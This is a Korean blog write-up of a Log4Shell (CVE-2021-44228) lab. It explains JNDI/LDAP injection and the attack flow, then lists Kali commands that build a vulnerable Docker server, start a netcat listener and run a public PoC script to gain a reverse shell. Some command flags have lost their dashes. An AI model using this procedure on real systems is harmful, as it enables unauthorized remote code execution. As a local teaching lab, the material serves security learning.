sheow13 2023. 10. 19. 10:43
728x90

실습 전 사전 지식

 Log4j란

- Log4j는 로깅 기능을 제공하는 Apache 재단의 무료 오픈소스 프로그램으로, 자바 기반의 모든 애플리케이션에서 사용 가능하며, 많은 자바 환경의 서비스에서 로그 기록을 위해 사용하는 프로그램

 

Log4j 취약점 분석

Log4Shell(CVE-2021-44228)

 

1) 취약점 개요

- Log4Shell 취약점은 Log4j에서 구성, 로그 메시지 및 매개 변수에 사용되는 JNDI에서 발생하는 취약점으로,  악의적인 입력값을 검증하지 않아 발생. 공격자는 Lookup 기능을 악용하여 LDAP 서버에 악의적인 코드 삽입이 가능한 취약점

 * JNDI(Java Naming and Directory Interface) : JAVA 응용 프로그램이 필요한 자원 및 실행에 필요한 다른 프로그램 정보를 찾을 수 있는 기능 제공

CVE ID CVE-2021-44228
유형 원격 코드 실행
심각도 심각(Critical)
CVSS 점수 10.0
영향 받는 버전 2.0-beta9 ~ 2.14.1 이하

 

2) 공격 흐름도

① Log4j 공격을 위하여 User-agent, X-Api-Version 등 HTTP Header에 JNDI 공격 수행

② 부적절한 입력값 검증을 하지 않아 외부에 있는 공격자 LDAP에 쿼리 전송

③ 서버에 공격 구문이 삽입된 Exploit.class 전달

④ 공격 코드가 삽입된 class파일을 다운받고 실행하여 RCE 공격이 동작

 

3) 공격 시나리오

① 공격자는 쿼리 수신 서버를 구성할 때 공격 명령어를 미리 지정

명령어 지정을 통해 쿼리에 쓰일 이름을 랜덤 문자 6자로 생성

공격자는 쿼리 송신 서버에 공격 쿼리를 웹 페킷에 담아 피해 서버에 발송

피해 서버의 취약한 log4j는 공격자가 발송한 웹 패킷에 포함된 공격 쿼리 부분을 추출하여 다시 공격자의 쿼리 수신 서버로 전송

쿼리 수신 서버는 피해 서버에게 악성 Class 파일을 다운로드하라는 명령을 전달

피해 서버는 쿼리 수신 서버의 웹포트로 접속하여 ‘ExecTemplateJDK’ 문자와 JDK 버전 정보로 조합된 파일명을 가진 악성 Class 파일을 다운로드 및 실행하여 명령을 수행

명령의 결과로 악성코드 유포지에서 최종 악성코드가 다운로드

 

3) 참고 자료

- KISA에서 발행한 Log4j 위협 대응 보고서로 자세한 공격 설명 및 대응 방법에 대해 기재

https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000127&nttId=36476&menuNo=205021

 

KISA 보호나라&KrCERT/CC

KISA 보호나라&KrCERT/CC

www.boho.or.kr

 

실습 진행

실습 환경

- Kali Linux에서 Docker를 사용하여 Log4j RCE 공격에 취약한 서버 구성

- 이 실습의 목표는 Log4j 취약점을 이용하여 리버스 쉘 획득이 목표

 

Step 1) Log4j 실습을 위한 취약한 환경 다운로드

- Docker 환경에서 진행할 예정으로, log4j 취약점 PoC 공격 코드 다운로드

경로 : https://github.com/kozmer/log4j-shell-poc 

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

명령어
root@kali#git clone https://github.com/kozmer/log4j-shell-poc.git

 

Step 2) 도커 이미지 다운로드

명령어
root@kali#apt update
root@kali#apt install docker.io

[도커 설치에 앞서 패키지 설치 도구 업데이트]
[도커 설치]

Step 3) 다운로드 받은 파일에서 도커 파일 이미지 다운로드 및 build 진행

명령어
root@kali#cd log4j-shell-poc
root@kali#docker build t log4j-shell-poc .

[docker 이미지 다운로드 및 build]

Step 4) 도커 환경 네트워크를 host로 설정하면 따로 IP를 지정할 필요 없이 localhost:8080로 접속할 수 있으므로, 도커 환경 네트워크를 host로 구성 후 웹 브라우저에서 'localhost:8080'으로 접속 시, 실습 환경 접근 가능 확인

명령어
root@kali#docker run network host log4j-shell-poc

[도커 네트워크를 host로 설정]
[웹 브라우저에서 localhost로 접근 시, 정상 접근 확인]

Step 5) 공격자 서버 설정을 위해서 Kali에서 자바 환경을 구성할 필요가 있음. 하기에 기재된 경로에서 jdk파일을 다운로드 받아 압축 푼 뒤 jdk를 '/usr/bin/' 경로로 이동

 - JDK 다운로드 경로 : https://mirros.huaweicloud.com/java/jdk/8u202-b08/ 

 

명령어
root@kali#cd Downloads
root@kali#tar xf jdk-8u202-linux-x64.tar.gz
root@kali#mv jdk1.8.0_202 /usr/bin/

 

[JDK 파일 다운로드]

 

Step 6) 다운로드 받았던 실습 환경 디렉토리로 이동 후, 공격 코드인 'poc.py'을 편집기로 열어서 os 경로를 설치한 경로로 설정

명령어
root@kali#cd log4j-shell-poc
root@kali#mousepad poc.py

[poc.py 파일에서 os 경로 설정]

Step 7) 리버스 커넥션을 위하여 netcat을 통해 대기 후 공격 코드 실행 후, 생성된 쿼리를 웹 브라우저에 삽입 시, 리버스 커넥션 연결됨을 확인

명령어
root@kali#nc lvnp [Listen 포트]
root@kali#python3 poc.py userip [Kali IP] --webport=8000 lport [Listen 포트]

[공격 스크립트 동작 후 생성된 쿼리 복사]
[생성된 공격 코드를 입력 후 Login]
[Log4j RCE 공격이 성공하여 리버스 쉘 획득 확인]

 

[네트워크 캡처 도구를 통해 확인 결과, POST 메소드로  웹서버에 JNDI 요청 진행]
[웹서버에서 공격자 LDAP로 request를 받으면 악성 class를 희생자 서버로 전달하는 것을 확인]